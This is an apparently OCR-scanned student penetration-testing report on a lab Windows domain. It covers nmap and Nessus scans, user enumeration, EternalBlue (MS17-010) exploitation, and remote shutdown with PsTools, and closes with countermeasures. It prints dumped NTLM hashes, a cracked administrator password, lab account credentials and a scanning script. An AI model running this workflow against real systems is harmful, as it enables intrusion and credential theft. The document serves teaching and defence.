If the command works then it should display a screen similar to below with a time till power off.

Ad rator: Command Prompt

824 ] 1 68 6648
2632 8 153 382 19396
2912 8 23 547 121948
rustedinstaller 2976 8 4 117 1972
PSEXESUC 3896 ] ? 86 1252

C:“PsTools>PsShutdown

PszShutdown v2.52 — Shutdoun. logoff and power manage local and remote systems

Copyright (C> 1999-2806 Mark Ruszinovich
Sysinternals — www.sysinternals.com

Eula declined.

C:“PsTools>PsShutdown “A\192.168.8.1

PsShutdown v2.52 — Shutdoun,. logoff and power manage local and remote systems

Copyright (C> 1999-2886 Mark Bussinovich
Sysinternals — www.sysinternals.com

192.168.8.1 is scheduled to power off in BB:B@:=20.

C:\PsTools>

8. 265
aa.24%
aa.312
tAA.156
BA.A15

- |

And then going back to the server 1 which was logged in we can see that the server has indeed

shutdown from remote access.
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C Stopping services...

%/ Windows Server-2008
Datacenter
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3 RESULTS

3.1 RESULTS FOR PART 1

3.1.1 SCANNING RESULTS

The results from the scanning showed the IP’s for all machines on the network. The results were:

192.168.0.1 - Serverl
192.168.0.2 - Server2
192.168.0.10 - Clientl
192.168.0.11 - Client2

192.168.0.100 Windows Machine

192.168.0.200 - Kali Machine
It was then shown what ports were open on each of the servers. The results were:
192.168.0.1

Open Ports

e 23 (telnet)

e 53 (domain)

e 80 (www-http)

e 88 (Kerberos)

e 135 (loc-srv)

e 139 (netbios-ssn)
e 445 (Microsoft-ds)

192.168.0.2
Open Ports

e 23 (telnet)

e 53 (domain)

e 80 (www-http)

e 88 (Kerberos)

e 135 (loc-srv)

e 139 (netbios-ssn)
e 445 (Microsoft-ds)
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On both servers port 445 is open which is used in the exploit in the procedure.

3.1.2 ENUMERATION RESULTS

NMAP scans are used to show which ports are open on the targeted machine as well as what operating
system is on the target. As can be seen in the screenshot below, Server 1 is running Windows Server
2008 and port 445 is open, which is required for the exploit to be carried out.

2 88/tcp open kerberos-sec syn ack Microsoft Windows Kerberos (server time: 2018-12-16 13:19:32Z

3 135/tcp open msSrpc syn-ack Microsoft Windows RPC

4 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn

5 389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: uadtargetnet.com, Site: lab-sitel)

6 445/tcp open microsoft-ds syn-ack Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: UADTARGETNET)
7 4d6d/tcp open kpasswd5? syn-ack

(Full Results for both servers can be seen in Appendix B)

From the enumeration section of the procedure, the nbtenum3.3 results showed the list of users on
both servers. An example is shown below showing a list of Administrators for Server 1.

Administrators

- UADTARGETNET\Administrator

- UADTARGETNET\B.Evert

- UADTARGETNET\Benny Hill

- UADTARGETNET\D.Kawasaki

- UADTARGETNET\D.Lecroy

- UADTARGETNET\D.Rosamond

- UADTARGETNET\Domain Admins
- UADTARGETNET\Enterprise Admins
- UADTARGETNET\F.Nelms

- UADTARGETNET\G.Chica

- UADTARGETNET\H.Shiba

- UADTARGETNET\I.Cortright

- UADTARGETNET\N.Hooton

- UADTARGETNET\R.Burstein

- UADTARGETNET\S.Abercrombie
- UADTARGETNET\W.Parekh

- UADTARGETNET\Y.Lezama

(Full results for both servers can be seen in Appendix C)

3.1.3 VULNERABILITY SCANNING RESULTS

NMAP vulnerability scans show what exploits could possibly be used on the target system. In the
screenshot below it can be seen that the server is vulnerable to the exploit of the EternalBlue.
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Host script results:
| _smb-vuln-ms1@-@54: false

| _smb-vuln-ms1@-861: NT_STATUS_ACCESS_DENIED
| smb-vuln-msl7-01@:
|  VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBvl servers (msl7-018
| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor:
I
I
I
I
I
I
I
I

HIGH

1700463
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A critical remote code execution vulnerability exists in Microsoft S
servers (msl7-010).

Disclosure date: 2017-83-14

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidanc
https://technet.microsoft.com/en-us/library/security/ms17-018.aspx

(Full results are in Appendix D)

From the NESSUS scan a report is produced with a list of vulnerabilities and their level showing how
serious the problem is. In the snippets below of the report you can see that both of the servers have the
critical vulnerability of the EternalBlue exploit. This coincides with the NMAP vulnerability scan above.

3

CRITICAL

192.168.0.1

MEDIUM

Vulnerabilities Total: 70

SEVERITY CVss PLUGIN NAME

100 72836 MS11-058: Vulnerabiliies in DNS Server Could Allow Remote Code
Execution (2562485) (uncredentialed check)

10.0 97833  MS17-010: Security Update for Microsoft Windows SMB Server (4013389)
(ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE)
(ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed
check)

100 100464  Microsoft Windows SMBv1 Multiple Vulnerabilities

28| Page



Jonah McElfatrick 1700463
CMP 210 Ethical Hacking 1

192.168.0.2
K]
CRITICAL HIGH MEDIUM
Vulnerabilities Total: 66

SEVERITY cvss PLUGIN NAME

100 72836 MS11-058: Vulnerabilities in DNS Server Could Allow Remote Code
Execution (2562485) (uncredentialed check)

10.0 97833 MS17-010: Security Update for Microsoft Windows SMB Server (4013389)
(ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANGE)
(ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed
check)

10.0 100464  Microsoft Windows SMBv1 Multiple Vulnerabilities

(Full report is attached in Appendix E)

With all the information above it can be said that the servers are vulnerable to the EternalBlue exploit.

3.1.4 SYSTEM HACKING RESULTS

From being internally connected to the network, you are able to completely compromise usernames and
passwords for both standard and administrative users from exploiting a known vulnerability in windows
SMB protocol. When the servers were exploited, all usernames and hashed passwords were released.

An example of the usernames and hashes that were taken from the servers is shown below:

_ | hashes.txt - Notepad

ile _Edit Format View Help
br:500: aad3b435b51404eeaad3ba35b514edee : ebbd32492238051780d50bCcd6ChETRY : : :
Guest:5@1:aad3b435b51484eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7eBcB89¢c@: : :
krbtgt:502:aad3b435b51404eeaad3b435b51484ee: abAdflb664ad3a8acd7a90de2b3ccafal7z: ::
Benny Hill:1000:aad3b435b51404eeaad3b435b514084ee:8516F8dca38b8541bc6f4732c3b304F2:::
R.Gudino:8410:aad3b435b51404eeaad3b435b51404ee: ebacebcae9aa28625353f369506d0f28:: :

As shown above, the data circled in red is the username and the data circled in blue is the hashed
password. (See Appendix F for full list of username and hashes/passwords)

Using the hash decryptor (https://hashkiller.co.uk/ntIm-decrypter.aspx), some of the passwords for the
users can be found and then used to login to either server.

2bb432492238051780d50bcd6cb8f6d NTLM : Thisisverysecretl?
31d6cfePd16ae931b73c59d7e0cP89¢cP [Not found]
ab4fl664ad3a8ac47a90de2b3ccafa37 [Not found]
3516f8dca38b8541bc6f4732c3b304F2 [Not found]|

An attempt to use rcrack to crack the passwords was done but rcrack was unable to crack.
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From the meterpreter command line in kali, many different commands can be run, for example files can
be transferred/downloaded onto the server, files on the server can be edited, processes can be
run/stopped.

Now that the username and password for the administrator on both servers have been found, you are
able to access the directory of users on both servers and are able to change passwords for all users as
you are logged into the main administrator account. This means that you are able to lock out users and
take full control of the system.

Pstools are able to be used remotely without any prior authentication from the remote machine on the
server, this can be very harmful as it allows the server not only to be remotely shutdown but can use
many other commands to do the following:

e  PsExec - execute processes remotely

e  PsFile - shows files opened remotely

e PsGetSid - display the SID of a computer or a user

e  Psinfo - list information about a system

e PsPing - measure network performance

e PsKill - kill processes by name or process ID

e  Pslist - list detailed information about processes

e PsloggedOn - see who's logged on locally and via resource sharing (full source is included)

e Psloglist - dump event log records

e  PsPasswd - changes account passwords

e PsService - view and control services

e  PsShutdown - shuts down and optionally reboots a computer

e  PsSuspend - suspends processes

e PsUptime - shows you how long a system has been running since its last reboot (PsUptime's
functionality has been incorporated into Psinfo

*The above list was taken from https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
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4 DISCUSSION

4.1 GENERAL DISCUSSION

The results of this paper are clear, the UADTARGETNET network is not as secure as it should be and is
very open to malicious attacks.

From the scanning it was clear before any attack was carried out how someone could exploit the servers
using the EternalBlue exploit, this was then carried out and access to restricted parts of both servers was
gained.

From here sensitive information such as usernames and passwords was released, and the ability to log
into the Administrator section by cracking the main administrator password allowed us to reset
passwords and lock users out of their own accounts.

The time taken to carry out the above procedure including the scanning, enumerations and vulnerability
scanning, was around six hours. For someone with relative experience and skills in this area, this could
be carried out in a shorter time. This vulnerability does not cost much to implement a fix to it and can be
seen below how to carry that out.

4.2 COUNTERMEASURES

e When access was gained to the servers, it was noticed that windows firewall was disabled
on both servers, activating this would monitor the packets entering/leaving the servers. This
should decrease the chances of malicious packets from entering the servers.

e Restrict access to command line interface for guests on the network.

e Updating windows to the latest version with the latest security patches fixes the exploit
shown in this paper.

e Ensuring that passwords are complicated and include numbers, symbols with a mixture of
lower case and upper case letters makes it allot harder to crack the hashed passwords that
were gathered from the exploit.

¢ |t could be made a habit that passwords are changed often to prevent from old passwords
being used to exploit the system.

4.3 CONCLUSIONS

¢ The system has not been set up to security standards and requires sufficient work to fix the
vulnerabilities.

¢ Not using the above countermeasures would allow anyone with relevant knowledge and
skills to infiltrate the network and gain access to usernames, passwords and be able to have
full control over the entire system.
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4.4 FUTURE WORK

e Given time, more tests would have been carried out to see if an outside attacker could
accomplish the same results as an inside attacker with relevant time and skills.

e If permission was given, then it could be tested if the network was protected or susceptible
to other type of attacks, for example DDOS (Distributed Denial Of Service) attacks.

4.5 CALL TO ACTION

e The windows firewall can be activated easily in the windows network setting. This does not
require any charge and can be completed very quickly.

e A Anti-virus software is included in the most recent version of windows called windows
defender, otherwise an external Anti-virus software for example AVG Anti-virus could be
installed to be able to periodically scan the system for anything unusual.
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import subprocess
import os
hostname ="192.168.0.1"

response = os.system("ping -c 1" + hostname)

if response == 0:
print hostname, 'is up!'

os.system("/usr/bin/nmap -sT -p1-65535 -v -v -T5 -sV -O -oN
/root/Desktop/Scripts/NMAP_Results/192.168.0.1TCP 192.168.0.1")

os.system("/usr/bin/nmap -sT -p1-65535 -v -v -T5 -sV -O -oN
/root/Desktop/Scripts/NMAP_Results/192.168.0.2TCP 192.168.0.2")

os.system("/usr/bin/nmap -sT -p1-65535 -v -v -T5 -sV -O -oN
/root/Desktop/Scripts/NMAP_Results/192.168.0.10TCP 192.168.0.10")

os.system("/usr/bin/nmap -sT -p1-65535 -v -v -T5 -sV -O -oN
/root/Desktop/Scripts/NMAP_Results/192.168.0.11TCP 192.168.0.11")

os.system("/usr/bin/nmap -sU -p1-500 -v -v -T4 -sV -oN
/root/Desktop/Scripts/NMAP_Results/192.168.0.1UDP 192.168.0.1")

os.system("/usr/bin/nmap -sU -p1-500 -v -v -T4 -sV -oN
/root/Desktop/Scripts/NMAP_Results/192.168.0.2UDP 192.168.0.2")

os.system("/usr/bin/nmap -sU -p1-500 -v -v -T4 -sV -oN
/root/Desktop/Scripts/NMAP_Results/192.168.0.10UDP 192.168.0.10")

os.system("/usr/bin/nmap -sU -p1-500 -v -v -T4 -sV -oN
/root/Desktop/Scripts/NMAP_Results/192.168.0.11UDP 192.168.0.11")

else:

print hostname, 'is down!'
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APPENDIX B — NMAP SCANNER RESULTS

192.168.0.1TCP

# Nmap 7.70 scan initiated Sun Dec 16 08:18:42 2018 as: /usr/bin/nmap -sT -p1-65535 -v -v -T5 -sV -O -oN
/root/Desktop/Scripts/NMAP_Results/192.168.0.1TCP 192.168.0.1

Nmap scan report for 192.168.0.1

Host is up, received arp-response (0.00039s latency).

Scanned at 2018-12-16 08:18:42 EST for 104s

Not shown: 65508 closed ports

Reason: 65508 conn-refused

PORT  STATE SERVICE REASON VERSION

23/tcp open telnet  syn-ack Microsoft Windows XP telnetd

42/tcp open tcpwrapped syn-ack

53/tcp open domain  syn-ack Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)
80/tcp open http syn-ack Apache httpd

88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2018-12-16 13:19:327)
135/tcp open msrpc syn-ack Microsoft Windows RPC

139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn

389/tcp open Idap syn-ack Microsoft Windows Active Directory LDAP (Domain: uadtargetnet.com, Site: lab-
sitel)

445/tcp open microsoft-ds syn-ack Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup:
UADTARGETNET)

464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack

3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: uadtargetnet.com, Site: lab-
sitel)

3269/tcp open tcpwrapped syn-ack

9389/tcp open mc-nmf  syn-ack .NET Message Framing

47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49152/tcp open msrpc syn-ack Microsoft Windows RPC

49153/tcp open msrpc syn-ack Microsoft Windows RPC
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49154/tcp open msrpc syn-ack Microsoft Windows RPC
49155/tcp open msrpc syn-ack Microsoft Windows RPC
49156/tcp open msrpc syn-ack Microsoft Windows RPC
49160/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49161/tcp open msrpc syn-ack Microsoft Windows RPC
49164/tcp open msrpc syn-ack Microsoft Windows RPC
49171/tcp open msrpc syn-ack Microsoft Windows RPC
49173/tcp open msrpc syn-ack Microsoft Windows RPC
49203/tcp open msrpc syn-ack Microsoft Windows RPC
MAC Address: 00:0C:29:65:8E:40 (VMware)

Device type: general purpose

Running: Microsoft Windows 7|2008]8.1

OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1
cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2
cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1

0S details: Microsoft Windows 7 SPO - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or
Windows 8.1 Update 1

TCP/IP fingerprint:
0S:SCAN(V=7.70%E=4%D=12/16%0T=23%CT=1%CU=33840%PV=Y%DS=1%DC=D%G=N%M=000C29%
0S:TM=5C16511A%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=1%Cl=1%l=
0S:1%S5=5%TS5=7)OPS(01=M5B4NW8ST11%02=M5BANW8ST11%03=M5B4ANWSNNT11%04=M5B4NWS8
0S:ST11%05=M5B4ANW8ST11%06=M5B4ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2
0S:000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%0=M5B4NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=
0S:80%S=0%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=2%A=5%F=AR%0=%RD=0%Q=)T3
OS:(R=Y%DF=Y%T=80%W=0%S=2%A=0%F=AR%0=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=0%
0S:F=R%0=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z2%A=S+%F=AR%0=%RD=0%Q=)T6(R=Y%DF=Y
0S:%T=80%W=0%S=A%A=0%F=R%0=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=2%A=S+%F=AR%0=%R
0S:D=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I

0S:E(R=Y%DFI=N%T=80%CD=2)

Uptime guess: 0.232 days (since Sun Dec 16 02:45:48 2018)

Network Distance: 1 hop
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TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental

Service Info: Host: SERVER1; OSs: Windows XP, Windows; CPE: cpe:/o:microsoft:windows_xp,
cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sun Dec 16 08:20:26 2018 -- 1 IP address (1 host up) scanned in 104.32 seconds

192.168.0.1UDP

# Nmap 7.70 scan initiated Sun Dec 16 08:25:49 2018 as:
/usr/bin/nmap -sU -pl-500 -v -v -T4 -sV -oN
/root/Desktop/Scripts/NMAP Results/192.168.0.1UDP 192.168.0.1
Warning: 192.168.0.1 giving up on port because retransmission cap
hit (6).

Increasing send delay for 192.168.0.1 from 100 to 200 due to 11 out
of 12 dropped probes since last increase.

Increasing send delay for 192.168.0.1 from 200 to 400 due to 11 out
of 11 dropped probes since last increase.

Increasing send delay for 192.168.0.1 from 400 to 800 due to 11 out
of 11 dropped probes since last increase.

Increasing send delay for 192.168.0.1 from 800 to 1000 due to 11 out
of 19 dropped probes since last increase.

Nmap scan report for 192.168.0.1

Host is up, received arp-response (0.00090s latency).

Scanned at 2018-12-16 08:25:49 EST for 599s

Not shown: 475 closed ports

Reason: 475 port-unreaches

PORT STATE SERVICE REASON VERSION
42/udp open|filtered nameserver no-response

53/udp open domain udp-response ttl 128 Microsoft
DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2 SP1)

88/udp open kerberos-sec udp-response Microsoft
Windows Kerberos (server time: 2018-12-16 13:34:027)

109/udp open|filtered pop2 no-response

123/udp open ntp udp-response ttl 128 NTP v3
137/udp open netbios-ns udp-response ttl 128 Microsoft

Windows netbios-ssn (workgroup: UADTARGETNET)
138/udp open|filtered netbios-dgm no-response

153/udp open|filtered sgmp no-response
157/udp open|filtered knet-cmp no-response
161/udp open|filtered snmp no-response
213/udp open|filtered ipx no-response
221/udp open|filtered fln-spx no-response
237/udp open|filtered unknown no-response
307/udp open|filtered unknown no-response
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330/udp open|filtered unknown no-response
369/udp open|filtered rpc2portmap no-response
374/udp open|filtered legent-2 no-response
388/udp open|filtered unidata-ldm no-response
389/udp open ldap udp-response ttl 128 Microsoft

Windows Active Directory LDAP (Domain: uadtargetnet.com, Site: lab-
sitel)

403/udp open|filtered decap no-response
464 /udp open|filtered kpasswdb no-response
474/udp open|filtered tn-tl-w2 no-response
479/udp open|filtered iafserver no-response
494 /udp open|filtered pov-ray no-response
500/udp open|filtered isakmp no-response

MAC Address: 00:0C:29:65:8E:40 (VMware)
Service Info: Host: SERVER1; 0OS: Windows; CPE:
cpe:/o:microsoft:windows server 2008:r2:spl,
cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/

# Nmap done at Sun Dec 16 08:35:48 2018 -- 1 IP address (1 host up)
scanned in 599.65 seconds

192.168.0.2TCP

# Nmap 7.70 scan initiated Sun Dec 16 08:20:27 2018 as: /usr/bin/nmap -sT -p1-65535 -v -v -T5 -sV -O
-oN /root/Desktop/Scripts/NMAP_Results/192.168.0.2TCP 192.168.0.2

Nmap scan report for 192.168.0.2

Host is up, received arp-response (0.00067s latency).

Scanned at 2018-12-16 08:20:27 EST for 112s

Not shown: 65508 closed ports

Reason: 65508 conn-refused

PORT  STATE SERVICE REASON VERSION

23/tcp open telnet  syn-ack Microsoft Windows XP telnetd

42/tcp open tcpwrapped syn-ack

53/tcp open domain  syn-ack Microsoft DNS 6.1.7601 (1DB1446A) (Windows Server 2008 R2
SP1)

80/tcp open http syn-ack Microsoft IIS httpd 7.5

88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2018-12-16
13:21:252)

135/tcp open msrpc syn-ack Microsoft Windows RPC

139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn

389/tcp open Idap syn-ack Microsoft Windows Active Directory LDAP (Domain:
uadtargetnet.com, Site: lab-sitel)

445/tcp open microsoft-ds syn-ack Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
(workgroup: UADTARGETNET)

464/tcp open kpasswd5? syn-ack

593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0

636/tcp open tcpwrapped syn-ack
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3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain:
uadtargetnet.com, Site: lab-sitel)

3269/tcp open tcpwrapped syn-ack

47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

49152/tcp open msrpc syn-ack Microsoft Windows RPC

49153/tcp open msrpc syn-ack Microsoft Windows RPC

49154/tcp open msrpc syn-ack Microsoft Windows RPC

49155/tcp open msrpc syn-ack Microsoft Windows RPC

49157/tcp open msrpc syn-ack Microsoft Windows RPC

49158/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0

54704/tcp open msrpc syn-ack Microsoft Windows RPC

54716/tcp open msrpc syn-ack Microsoft Windows RPC

61987/tcp open msrpc syn-ack Microsoft Windows RPC

61996/tcp open msrpc syn-ack Microsoft Windows RPC

61997/tcp open msrpc syn-ack Microsoft Windows RPC

61998/tcp open msrpc syn-ack Microsoft Windows RPC

MAC Address: 00:50:56:3A:42:9F (VMware)

Device type: general purpose

Running: Microsoft Windows 7|2008 8.1

OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1
cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2
cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1

OS details: Microsoft Windows 7 SPO - SP1, Windows Server 2008 SP1, Windows Server 2008 R2,
Windows 8, or Windows 8.1 Update 1

TCP/IP fingerprint:
0OS:SCAN(V=7.70%E=4%D=12/16%0T=23%CT=1%CU=42757%PV=Y%DS=1%DC=D%G=N%M=005056%
0S:TM=5C16518B%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=1%Cl=1%lI=
0S:1%SS=S
%T1S=7)OPS(01=M5B4NW8ST11%02=M5B4NW8ST11%03=M5B4ANW8NNT11%04=M5BANW8
0S:ST11%05=M5B4NW8ST11%06=M5B4ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W
5=2
0S:000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%0=M5B4NW8NNS%CC=N%Q=)T1(R=Y%DF=Y
%T=

0S:80%S=0%A=5+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=2%A=5%F=AR%0=
%RD=0%Q=)T3
OS:(R=Y%DF=Y%T=80%W=0%S=2%A=0%F=AR%0=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A
%A=0%
0S:F=R%0=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S5=2%A=S+%F=AR%0=%RD=0%Q=)T6(R=Y%DF=Y
0S:%T=80%W=0%S=A%A=0%F=R%0=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=2%A=S+%F=AR%0=
%R
0S:D=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I
OS:E(R=Y%DFI=N%T=80%CD=2)

Uptime guess: 0.560 days (since Sat Dec 15 18:55:56 2018)

Network Distance: 1 hop

TCP Sequence Prediction: Difficulty=258 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: Host: SERVER2; OSs: Windows XP, Windows; CPE: cpe:/o:microsoft:windows_xp,
cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
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Read data files from: /usr/bin/../share/nmap
0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/

# Nmap done at Sun Dec 16 08:22:19 2018 -- 1 IP address (1 host up) scanned in 112.23 seconds

192.168.0.2UDP

# Nmap 7.70 scan initiated Sun Dec 16 08:35:48 2018 as: /usr/bin/nmap -sU -p1-500 -v -v -T4 -sV -
oN /root/Desktop/Scripts/NMAP_Results/192.168.0.2UDP 192.168.0.2

Warning: 192.168.0.2 giving up on port because retransmission cap hit (6).

Increasing send delay for 192.168.0.2 from 100 to 200 due to 11 out of 11 dropped probes since last
increase.

Increasing send delay for 192.168.0.2 from 200 to 400 due to 11 out of 12 dropped probes since last
increase.

Increasing send delay for 192.168.0.2 from 400 to 800 due to 11 out of 11 dropped probes since last
increase.

Increasing send delay for 192.168.0.2 from 800 to 1000 due to 11 out of 18 dropped probes since last
increase.

Nmap scan report for 192.168.0.2

Host is up, received arp-response (0.0010s latency).

Scanned at 2018-12-16 08:35:49 EST for 636s

Not shown: 470 closed ports

Reason: 470 port-unreaches

PORT STATE SERVICE  REASON VERSION

21/udp open|filtered ftp no-response

41/udp open|filtered graphics no-response

42/udp open|filtered nameserver no-response

53/udp open domain  udp-response ttl 128 Microsoft DNS 6.1.7601 (1DB1446A) (Windows
Server 2008 R2 SP1)

77/udp open|filtered priv-rje  no-response

88/udp open kerberos-sec udp-response Microsoft Windows Kerberos (server time: 2018-
12-16 13:44:382)

114/udp open|filtered audionews no-response

123/udp open ntp udp-response ttl 128 Microsoft NTP

137/udp open netbios-ns udp-response ttl 128 Microsoft Windows netbios-ssn (workgroup:
UADTARGETNET)

138/udp open|filtered netbios-dgm no-response

141/udp open|filtered emfis-cntl no-response

161/udp open|filtered snmp no-response

178/udp open|filtered nextstep no-response

243/udp open|filtered sur-meas no-response

286/udp open |[filtered fxp no-response

287/udp open|filtered k-block  no-response

298/udp open|filtered unknown no-response

331/udp open|filtered unknown no-response

336/udp open|filtered unknown no-response

361/udp open|filtered semantix no-response

366/udp open |filtered odmr no-response
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388/udp open | filtered unidata-ldm no-response

389/udp open Idap udp-response ttl 128 Microsoft Windows Active Directory LDAP
(Domain: uadtargetnet.com, Site: lab-sitel)

400/udp open|filtered work-sol  no-response

401/udp open|filtered ups no-response

411/udp open|filtered rmt no-response

435/udp open|filtered mobilip-mn no-response

464/udp open|filtered kpasswd5 no-response

485/udp open|filtered powerburst no-response

500/udp open|filtered isakmp  no-response

MAC Address: 00:50:56:3A:42:9F (VMware)

Service Info: Host: SERVER2; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1,
cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Dec 16 08:46:25 2018 -- 1 IP address (1 host up) scanned in 637.08 seconds

APPENDIX C — NBTENUM RESULTS

NBTEnum v3.3
192.168.0.1

Password checking is "OFF"
Running as user "UADTARGETNET\test", password is "test123"

Network Transports Transport: \Device\NetBT_Tcpip_{81F26EBB-C4BD-
4835-9C50-EF36D68CA236}
MAC Address: 000C29658E40

NetBIOS Name UADTARGETNET

Account Lockout Threshold 0 Attempts

Local Groups and Users Account Operators
Administrators

- UADTARGETNET\Administrator
- UADTARGETNET\B.Evert
- UADTARGETNET\Benny Hill
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- UADTARGETNET\D.Kawasaki

- UADTARGETNET\D.Lecroy

- UADTARGETNET\D.Rosamond

- UADTARGETNET\Domain Admins
- UADTARGETNET\Enterprise Admins
- UADTARGETNET\F.Nelms

- UADTARGETNET\G.Chica

- UADTARGETNET\H.Shiba

- UADTARGETNET\I.Cortright

- UADTARGETNET\N.Hooton

- UADTARGETNET\R.Burstein

- UADTARGETNET\S.Abercrombie
- UADTARGETNET\W.Parekh

- UADTARGETNET\Y.Lezama

Allowed RODC Password Replication Group
Backup Operators

Cert Publishers

Certificate Service DCOM Access
Cryptographic Operators

Denied RODC Password Replication Group
- UADTARGETNET\Cert Publishers

- UADTARGETNET\Domain Admins

- UADTARGETNET\Domain Controllers

- UADTARGETNET\Enterprise Admins

- UADTARGETNET\Group Policy Creator Owners
- UADTARGETNET\Read-only Domain Controllers
- UADTARGETNET\Schema Admins

- UADTARGETNET\krbtgt -Disabled
Distributed COM Users

DnsAdmins

Event Log Readers

Guests

- UADTARGETNET\Domain Guests

- UADTARGETNET\Guest -Disabled
IIS_IUSRS

Incoming Forest Trust Builders

Network Configuration Operators
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Performance Log Users
Performance Monitor Users

Pre-Windows 2000 Compatible Access
- NT AUTHORITY\Authenticated Users

Print Operators

RAS and IAS Servers

Remote Desktop Users

Replicator

Server Operators

TelnetClients

Terminal Server License Servers
Users

- NT AUTHORITY\Authenticated Users
- NT AUTHORITYAINTERACTIVE

- UADTARGETNET\Benny Hill

- UADTARGETNET\Domain Users
Windows Authorization Access Group

- NT AUTHORITY\ENTERPRISE DOMAIN
CONTROLLERS

Global Groups and Users

DnsUpdateProxy

Domain Admins
- Administrator

Domain Computers
- CLIENT1$
- CLIENT2$
- b$

- cn$

- correo$

- cust21$

- cust393%

- galerias$

- ipmonitor$
- lib$

- lists$

- miami$

- pc19$
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- pc54$

- pc56$

- rho$

- rtc5$

- secured$

- segment-119-227$
- uranus$

- webs$

- wwwchat$

Domain Controllers
- SERVER1$
- SERVER2%

Domain Guests
- Guest -Disabled

Domain Users
- A.Eisenmenger
- A.Fritzler

- A.Marsland

- A.Mckendree
- Administrator
- B.Evert

- B.Riche

- B.Saari

- B.Schweitzer
- Benny Hill

- C.Armes

- C.Brice

- C.Corpuz

- C.Hernadez
- C.Linen

- C.Selzer

- C.Spann

- C.Yother

- D.Clinard

- D.Doolin

- D.Halas

- D.Jin

- D.Kawasaki

- D.Kennemer
- D.Lecroy

- D.Mcdonough
- D.Rosamond
- E.Bascom

- E.Bolander

- E.Bouknight
- E.Breck

- E.Hillhouse

- E.Leclaire
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- E.Mogan

- F.Lietz

- F.Lu

- F.Nelms

- F.Qusley

- G.Chica

- G.Fuller

- G.Nordeen
- G.Youngberg
- H.Shiba

- |.Cortright

- J.Killion

- J.Murrell

- J.Schack

- J.Uribe

- J.Wiste

- K.Corney

- K.Dipaola

- K.Husby

- K.Leiker

- L.Angelo

- L.Gamino

- L.Mcnaughton
- L.Sarver

- L.Soriano

- M.Birdwell

- M.Bonneau
- M.Colberg

- M.Hershberger
- M.Hoy

- M.Lampe

- M.Lanasa

- M.Maxwell

- M.Otter

- M.Pascucci
- M.Thiel

